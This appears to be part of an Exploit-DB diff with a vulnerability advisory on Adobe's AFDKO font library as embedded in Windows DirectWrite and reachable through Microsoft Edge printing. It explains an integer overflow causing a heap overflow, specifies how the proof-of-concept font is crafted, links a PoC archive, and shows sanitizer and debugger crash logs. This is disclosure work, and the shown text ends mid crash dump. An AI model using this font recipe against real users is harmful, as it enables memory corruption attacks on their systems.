||||
#0 0x4c63f3 in __interceptor_malloc
|
||||
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
|
||||
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
|
||||
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
|
||||
#5 0x526b21 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2631:5
|
||||
#6 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#7 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#8 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#9 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#10 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
|
||||
#11 0x7f10333f82b0 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2796:56 in cfrBegFont
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c5e7fff9ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
=>0x0c5e7fff9b00: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c5e7fff9b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==199139==ABORTING
|
||||
--- cut ---
|
||||
|
||||
A non-instrumented version of "tx" crashes with a SIGSEGV trying to fetch a function pointer from an unmapped memory area:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255
|
||||
255 if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset))
|
||||
|
||||
(gdb) x/15i $rip
|
||||
=> 0x46382f <srcSeek+31>: mov 0x20(%rsi),%rsi
|
||||
0x463833 <srcSeek+35>: mov -0x10(%rbp),%rdi
|
||||
0x463837 <srcSeek+39>: mov 0x9cef8(%rdi),%rdi
|
||||
0x46383e <srcSeek+46>: mov 0x10(%rdi),%rdi
|
||||
0x463842 <srcSeek+50>: mov -0x10(%rbp),%rax
|
||||
0x463846 <srcSeek+54>: mov 0x9cef8(%rax),%rax
|
||||
0x46384d <srcSeek+61>: mov 0x8(%rax),%rax
|
||||
0x463851 <srcSeek+65>: mov -0x18(%rbp),%rdx
|
||||
0x463855 <srcSeek+69>: mov %rsi,-0x20(%rbp)
|
||||
0x463859 <srcSeek+73>: mov %rax,%rsi
|
||||
0x46385c <srcSeek+76>: mov -0x20(%rbp),%rax
|
||||
0x463860 <srcSeek+80>: callq *%rax
|
||||
0x463862 <srcSeek+82>: cmp $0x0,%eax
|
||||
0x463865 <srcSeek+85>: je 0x463877 <srcSeek+103>
|
||||
0x46386b <srcSeek+91>: movl $0x1,-0x4(%rbp)
|
||||
|
||||
(gdb) info reg $rsi
|
||||
rsi 0x440cc00044098000 4903505201673633792
|
||||
(gdb) x/10gx $rsi
|
||||
0x440cc00044098000: Cannot access memory at address 0x440cc00044098000
|
||||
|
||||
(gdb) print h->aux
|
||||
$1 = (t2cAuxData *) 0x7157f8
|
||||
(gdb) print h->aux->stm
|
||||
$2 = (ctlStreamCallbacks *) 0x440cc00044098000
|
||||
(gdb) print h->aux->stm->seek
|
||||
Cannot access memory at address 0x440cc00044098020
|
||||
|
||||
(gdb) bt
|
||||
#0 0x000000000046382f in srcSeek (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:255
|
||||
#1 0x000000000045da61 in t2Decode (h=0x7ffffff60188, offset=23445) at ../../../../../source/t2cstr/t2cstr.c:1271
|
||||
#2 0x000000000045cb26 in t2cParse (offset=23445, endOffset=23563, aux=0x7157f8, gid=0, cff2=0x715118, glyph=0x6fd6e8, mem=0x7150b8)
|
||||
at ../../../../../source/t2cstr/t2cstr.c:2591
|
||||
#3 0x000000000041371f in readGlyph (h=0x710380, gid=0, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2927
|
||||
#4 0x0000000000413495 in cfrIterateGlyphs (h=0x710380, glyph_cb=0x6fd6e8) at ../../../../../source/cffread/cffread.c:2966
|
||||
#5 0x0000000000405f11 in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
|
||||
#6 0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf") at ../../../../source/tx.c:429
|
||||
#7 0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
|
||||
at ../../../../source/tx.c:488
|
||||
#8 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
|
||||
#9 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
|
||||
--- cut ---
|
||||
|
||||
A similar Microsoft Edge renderer process crash is also shown below:
|
||||
|
||||
--- cut ---
|
||||
(1838.4490): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!srcSeek+0x21:
|
||||
00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h] ds:0030002f`00330050=????????????????
|
||||
|
||||
DWrite!srcSeek:
|
||||
00007ffc`c59f1528 48895c2408 mov qword ptr [rsp+8],rbx
|
||||
00007ffc`c59f152d 57 push rdi
|
||||
00007ffc`c59f152e 4883ec20 sub rsp,20h
|
||||
00007ffc`c59f1532 8bda mov ebx,edx
|
||||
00007ffc`c59f1534 488bf9 mov rdi,rcx
|
||||
00007ffc`c59f1537 488b91a8f40000 mov rdx,qword ptr [rcx+0F4A8h]
|
||||
00007ffc`c59f153e 448bc3 mov r8d,ebx
|
||||
00007ffc`c59f1541 488b4a10 mov rcx,qword ptr [rdx+10h]
|
||||
00007ffc`c59f1545 488b5208 mov rdx,qword ptr [rdx+8]
|
||||
00007ffc`c59f1549 488b4120 mov rax,qword ptr [rcx+20h]
|
||||
00007ffc`c59f154d ff15edd20200 call qword ptr [DWrite!_guard_dispatch_icall_fptr (00007ffc`c5a1e840)]
|
||||
00007ffc`c59f1553 85c0 test eax,eax
|
||||
00007ffc`c59f1555 7407 je DWrite!srcSeek+0x36 (00007ffc`c59f155e)
|
||||
00007ffc`c59f1557 b801000000 mov eax,1
|
||||
00007ffc`c59f155c eb08 jmp DWrite!srcSeek+0x3e (00007ffc`c59f1566)
|
||||
00007ffc`c59f155e 899f94f40000 mov dword ptr [rdi+0F494h],ebx
|
||||
00007ffc`c59f1564 33c0 xor eax,eax
|
||||
00007ffc`c59f1566 488b5c2430 mov rbx,qword ptr [rsp+30h]
|
||||
00007ffc`c59f156b 4883c420 add rsp,20h
|
||||
00007ffc`c59f156f 5f pop rdi
|
||||
00007ffc`c59f1570 c3 ret
|
||||
|
||||
0:038> db poi(rdi+f4a8)
|
||||
0000020c`ffd04170 ee 01 64 00 6f 00 77 00-73 00 2f 00 32 00 30 00 ..d.o.w.s./.2.0.
|
||||
0000020c`ffd04180 30 00 33 00 2f 00 30 00-38 00 2f 00 70 00 72 00 0.3./.0.8./.p.r.
|
||||
0000020c`ffd04190 69 00 6e 00 74 00 69 00-6e 00 67 00 2f 00 70 00 i.n.t.i.n.g./.p.
|
||||
0000020c`ffd041a0 72 00 69 00 6e 00 74 00-73 00 63 00 68 00 65 00 r.i.n.t.s.c.h.e.
|
||||
0000020c`ffd041b0 6d 00 61 00 6b 00 65 00-79 00 77 00 6f 00 72 00 m.a.k.e.y.w.o.r.
|
||||
0000020c`ffd041c0 64 00 73 00 7d 00 50 00-00 00 67 00 65 00 52 00 d.s.}.P...g.e.R.
|
||||
0000020c`ffd041d0 65 00 73 00 6f 00 6c 00-75 00 74 00 69 00 6f 00 e.s.o.l.u.t.i.o.
|
||||
0000020c`ffd041e0 6e 00 00 00 00 00 80 3e-00 00 80 3e 00 00 80 3e n......>...>...>
|
||||
|
||||
0:038> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 0000008a`e128be10 00007ffc`c59f3fe5 DWrite!srcSeek+0x21
|
||||
01 0000008a`e128be40 00007ffc`c59f4a5b DWrite!t2DecodeSubr+0x21
|
||||
02 0000008a`e128bea0 00007ffc`c59dc103 DWrite!t2cParse+0x287
|
||||
03 0000008a`e129b800 00007ffc`c59de3f7 DWrite!readGlyph+0x12b
|
||||
04 0000008a`e129b870 00007ffc`c59d2272 DWrite!cfrIterateGlyphs+0x37
|
||||
05 0000008a`e129b8c0 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x19a
|
||||
06 0000008a`e129bdc0 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
07 0000008a`e129bfa0 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
08 0000008a`e129c1c0 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
09 0000008a`e129c520 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
0a 0000008a`e129c5b0 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
0b 0000008a`e129c6d0 00007ffc`b3ff5464 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
0c 0000008a`e129c720 00007ffc`b3fcfd30 edgehtml!CDXPrintControl::Close+0x44
|
||||
0d 0000008a`e129c770 00007ffc`b3fd48bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0e 0000008a`e129c7a0 00007ffc`b3eab995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0f 0000008a`e129c7d0 00007ffc`b3b09485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
10 0000008a`e129c810 00007ffc`a3c244c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47097.zip
|
303
exploits/windows/dos/47098.txt
Normal file
303
exploits/windows/dos/47098.txt
Normal file
|
@ -0,0 +1,303 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
The readStrings() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read the font name string and the string INDEX strings from the input font. The relevant part of the function is shown below:
|
||||
|
||||
--- cut ---
|
||||
1727 /* Get FontName data and compute its size */
|
||||
1728 INDEXGet(h, &h->index.name, 0, &FontName);
|
||||
1729 lenFontName = FontName.end - FontName.begin;
|
||||
1730
|
||||
1731 /* Compute string data size */
|
||||
1732 lenStrings = (h->index.string.count == 0) ? 0 : (h->region.StringINDEX.end - h->index.string.data + 1 + /* String data bytes */
|
||||
1733 h->index.string.count); /* Null termination */
|
||||
1734
|
||||
1735 /* Allocate buffers */
|
||||
1736 dnaSET_CNT(h->string.offsets, h->index.string.count + 1);
|
||||
1737 dnaSET_CNT(h->string.ptrs, h->index.string.count);
|
||||
1738 dnaSET_CNT(h->string.buf, lenFontName + 1 + lenStrings);
|
||||
1739
|
||||
1740 p = h->string.buf.array;
|
||||
1741 *p = '\0';
|
||||
1742 if (h->header.major == 1) {
|
||||
1743 /* Copy FontName into buffer */
|
||||
1744 srcSeek(h, FontName.begin);
|
||||
1745 srcRead(h, lenFontName, p);
|
||||
1746 p += lenFontName;
|
||||
1747 *p++ = '\0';
|
||||
1748 }
|
||||
--- cut ---
|
||||
|
||||
The key line is 1738, where an integer overflow may occur. The "lenFontName" variable stores the length of the font name, which can be no greater than 65535. The "lenStrings" variable is initialized in lines 1732/1733 based on the length of the strings INDEX; primarily h->region.StringINDEX.end. The overall h->region.StringINDEX structure is filled out by the generic readINDEX() function, as called by cfrBegFont():
|
||||
|
||||
--- cut ---
|
||||
2712 if (h->header.major == 1) {
|
||||
2713 h->region.StringINDEX.begin = h->region.TopDICTINDEX.end;
|
||||
2714 if (h->region.StringINDEX.begin > 0) {
|
||||
2715 readINDEX(h, &h->region.StringINDEX, &h->index.string);
|
||||
2716 /* Read strings */
|
||||
2717 readStrings(h);
|
||||
2718 }
|
||||
--- cut ---
|
||||
|
||||
More specifically, h->region.StringINDEX.end is written to in the last line of readINDEX():
|
||||
|
||||
--- cut ---
|
||||
1582 /* Read and validate offset size */
|
||||
1583 index->offSize = read1(h);
|
||||
1584 if (index->offSize < 1 || index->offSize > 4)
|
||||
1585 fatal(h, cfrErrINDEXHeader);
|
||||
1586
|
||||
1587 index->offset = region->begin + cntSize + 1; /* Get offset array base */
|
||||
1588
|
||||
1589 /* Read and validate first offset */
|
||||
1590 if (readN(h, index->offSize) != 1)
|
||||
1591 fatal(h, cfrErrINDEXOffset);
|
||||
1592
|
||||
1593 /* Set data reference */
|
||||
1594 index->data = index->offset + (index->count + 1) * index->offSize - 1;
|
||||
1595
|
||||
1596 /* Read last offset and compute INDEX length */
|
||||
1597 srcSeek(h, index->offset + index->count * index->offSize);
|
||||
1598 region->end = index->data + readN(h, index->offSize);
|
||||
1599 }
|
||||
--- cut ---
|
||||
|
||||
On platforms where "long" is a 32-bit type (Windows x86/x64 and Linux x86), this gives us complete control over the aforementioned field, including setting it to a negative value. This enables us to set the "lenStrings" variable to an arbitrary number, and thus makes it possible to choose it such that the result of the "lenFontName + 1 + lenStrings" expression is smaller than the sum of the font name's length and the length of all other strings. As a result, the heap-based h->string.buf.array object may be overflown, corrupting adjacent allocations in the following lines:
|
||||
|
||||
--- cut ---
|
||||
1740 p = h->string.buf.array;
|
||||
1741 *p = '\0';
|
||||
1742 if (h->header.major == 1) {
|
||||
1743 /* Copy FontName into buffer */
|
||||
1744 srcSeek(h, FontName.begin);
|
||||
1745 srcRead(h, lenFontName, p);
|
||||
1746 p += lenFontName;
|
||||
1747 *p++ = '\0';
|
||||
1748 }
|
||||
1749
|
||||
[...]
|
||||
1767
|
||||
1768 /* Read string data */
|
||||
1769 for (i = 0; i < (unsigned long)h->string.ptrs.cnt; i++) {
|
||||
1770 long length =
|
||||
1771 h->string.offsets.array[i + 1] - h->string.offsets.array[i];
|
||||
1772 srcRead(h, length, p);
|
||||
1773 h->string.ptrs.array[i] = p;
|
||||
1774 p += length;
|
||||
1775 *p++ = '\0';
|
||||
1776 }
|
||||
--- cut ---
|
||||
|
||||
Part of the problem contributing to the vulnerability is the unsafe addition in cffread.c:1738, but part of it is also the fact that h->region.StringINDEX.end may be fully controlled through readINDEX() and the function doesn't perform any sanity checking to make sure that the offset is within bounds of the CFF stream. We would therefore recommend adding more checks to readINDEX(), e.g. to also verify that all offsets specified in the INDEX are declared in ascending order and are also within bounds.
|
||||
|
||||
The same checks should also be added to the analogous readSubrINDEX() function, which is even more permissive, as it allows an arbitrary value of offSize (instead of being limited to the 1-4 range). While we are at it, we also believe that the readN() routine should not ignore the N argument outside of <1 .. 4>, and instead throw a fatal error or at least attempt to read the specified N bytes from the input stream. Its current declaration is shown below:
|
||||
|
||||
--- cut ---
|
||||
505 /* Read 1-, 2-, 3-, or 4-byte number. */
|
||||
506 static uint32_t readN(cfrCtx h, int N) {
|
||||
507 uint32_t value = 0;
|
||||
508 switch (N) {
|
||||
509 case 4:
|
||||
510 value = read1(h);
|
||||
511 case 3:
|
||||
512 value = value << 8 | read1(h);
|
||||
513 case 2:
|
||||
514 value = value << 8 | read1(h);
|
||||
515 case 1:
|
||||
516 value = value << 8 | read1(h);
|
||||
517 }
|
||||
518 return value;
|
||||
519 }
|
||||
--- cut ---
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The proof of concept file contains a specially crafted String INDEX with the last offset set to -16397 (0xffffbff3) and the font name set to a "AAAA...AAAA" string consisting of 16384 bytes. This causes lenFontName to be equal to 16384 and lenStrings to be equal to -16384, so the whole "lenFontName + 1 + lenStrings" expression evaluates to 1. Despite this, because of the configuration of the h->string.buf dynamic array, the minimum allocation size is in fact 200. Then, a buffer overflow occurs while trying to load the 16384-byte string to the 200-byte allocation in the following line:
|
||||
|
||||
--- cut ---
|
||||
1745 srcRead(h, lenFontName, p);
|
||||
--- cut ---
|
||||
|
||||
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and an extra CFF table from another font was added to the file and corrupted in the way described above. This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:
|
||||
|
||||
--- cut ---
|
||||
=================================================================
|
||||
==116914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3603f88 at pc 0x0810d007 bp 0xffc4bba8 sp 0xffc4b780
|
||||
WRITE of size 8184 at 0xf3603f88 thread T0
|
||||
#0 0x810d006 in __asan_memcpy (tx+0x810d006)
|
||||
#1 0x819b191 in srcRead afdko/c/public/lib/source/cffread/cffread.c:481:9
|
||||
#2 0x817df46 in readStrings afdko/c/public/lib/source/cffread/cffread.c:1745:9
|
||||
#3 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13
|
||||
#4 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#5 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#6 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#7 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#8 0x814263f in main afdko/c/tx/source/tx.c:1631:9
|
||||
#9 0xf7b41275 in __libc_start_main
|
||||
#10 0x806a590 in _start
|
||||
|
||||
0xf3603f88 is located 0 bytes to the right of 200-byte region [0xf3603ec0,0xf3603f88)
|
||||
allocated by thread T0 here:
|
||||
#0 0x810ddc5 in __interceptor_malloc (tx+0x810ddc5)
|
||||
#1 0x833ccaf in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
|
||||
#2 0x8199bfa in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
|
||||
#3 0x84689ec in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
|
||||
#4 0x846919d in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
|
||||
#5 0x817dd0d in readStrings afdko/c/public/lib/source/cffread/cffread.c:1738:5
|
||||
#6 0x8178b5a in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2717:13
|
||||
#7 0x8155d25 in cfrReadFont afdko/c/tx/source/tx.c:137:9
|
||||
#8 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
|
||||
#9 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
|
||||
#10 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
|
||||
#11 0x814263f in main afdko/c/tx/source/tx.c:1631:9
|
||||
#12 0xf7b41275 in __libc_start_main
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow (tx+0x810d006) in __asan_memcpy
|
||||
Shadow bytes around the buggy address:
|
||||
0x3e6c07a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c07b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c07c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c07d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||
0x3e6c07e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x3e6c07f0: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c0800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c0810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c0820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c0830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x3e6c0840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==116914==ABORTING
|
||||
--- cut ---
|
||||
|
||||
A non-instrumented version of "tx" crashes with a SIGSEGV while trying to copy the font name into invalid memory:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6
|
||||
(gdb) x/10i $eip
|
||||
=> 0xf7eb50c0: movdqu %xmm1,-0x10(%edx,%ecx,1)
|
||||
0xf7eb50c6: jbe 0xf7eb537e
|
||||
0xf7eb50cc: movdqu 0x10(%eax),%xmm0
|
||||
0xf7eb50d1: movdqu -0x20(%eax,%ecx,1),%xmm1
|
||||
0xf7eb50d7: cmp $0x40,%ecx
|
||||
0xf7eb50da: movdqu %xmm0,0x10(%edx)
|
||||
0xf7eb50df: movdqu %xmm1,-0x20(%edx,%ecx,1)
|
||||
0xf7eb50e5: jbe 0xf7eb537e
|
||||
0xf7eb50eb: movdqu 0x20(%eax),%xmm0
|
||||
0xf7eb50f0: movdqu 0x30(%eax),%xmm1
|
||||
|
||||
(gdb) p/x $xmm1
|
||||
$1 = {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141,
|
||||
0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141},
|
||||
uint128 = 0x41414141414141414141414141414141}
|
||||
|
||||
(gdb) info reg $edx
|
||||
edx 0x813ea78 135522936
|
||||
(gdb) info reg $ecx
|
||||
ecx 0x1ff8 8184
|
||||
(gdb) x/10gx $edx+$ecx
|
||||
0x8140a70: Cannot access memory at address 0x8140a70
|
||||
|
||||
(gdb) bt
|
||||
#0 0xf7eb50c0 in ?? () from /lib/i386-linux-gnu/libc.so.6
|
||||
#1 0x0805bb9c in srcRead (h=0x8131200, count=16384, ptr=0x813ea78 'A' <repeats 16 times>) at ../../../../../source/cffread/cffread.c:481
|
||||
#2 0x080557e3 in readStrings (h=0x8131200) at ../../../../../source/cffread/cffread.c:1745
|
||||
#3 0x080548ae in cfrBegFont (h=0x8131200, flags=4, origin=0, ttcIndex=0, top=0x8118024, UDV=0x0) at ../../../../../source/cffread/cffread.c:2717
|
||||
#4 0x0804d491 in cfrReadFont (h=0x8118008, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
|
||||
#5 0x0804d309 in doFile (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:429
|
||||
#6 0x0804c9b6 in doSingleFileSet (h=0x8118008, srcname=0xffffcf11 "poc.otf") at ../../../../source/tx.c:488
|
||||
#7 0x0804a82a in parseArgs (h=0x8118008, argc=3, argv=0xffffcd58) at ../../../../source/tx.c:558
|
||||
#8 0x08049665 in main (argc=3, argv=0xffffcd58) at ../../../../source/tx.c:1631
|
||||
--- cut ---
|
||||
|
||||
In case of the Microsoft Edge renderer, it doesn't immediately crash during the buffer overflow, because there is enough mapped heap memory after the overflow allocation to consume the 16kB string. As a result of the memory corruption, however, an exception is generated a little later in the code while trying to access an invalid pointer overwritten with 0x4141...41:
|
||||
|
||||
--- cut ---
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!fillSet+0x37:
|
||||
00007ffb`29e701a3 39bc2e58020000 cmp dword ptr [rsi+rbp+258h],edi ds:41414141`41414399=????????
|
||||
|
||||
0:038> u @$scopeip-4
|
||||
DWrite!fillSet+0x33:
|
||||
00007ffb`29e7019f 488b6b10 mov rbp,qword ptr [rbx+10h]
|
||||
00007ffb`29e701a3 39bc2e58020000 cmp dword ptr [rsi+rbp+258h],edi
|
||||
00007ffb`29e701aa 7e21 jle DWrite!fillSet+0x61 (00007ffb`29e701cd)
|
||||
00007ffb`29e701ac 4c8b8c2e50020000 mov r9,qword ptr [rsi+rbp+250h]
|
||||
00007ffb`29e701b4 4c8d4508 lea r8,[rbp+8]
|
||||
00007ffb`29e701b8 488d95f8010000 lea rdx,[rbp+1F8h]
|
||||
00007ffb`29e701bf 4c03c6 add r8,rsi
|
||||
00007ffb`29e701c2 4803d6 add rdx,rsi
|
||||
|
||||
0:038> db rbx
|
||||
00000131`256e9ca0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000131`256e9cb0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000131`256e9cc0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000131`256e9cd0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000131`256e9ce0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
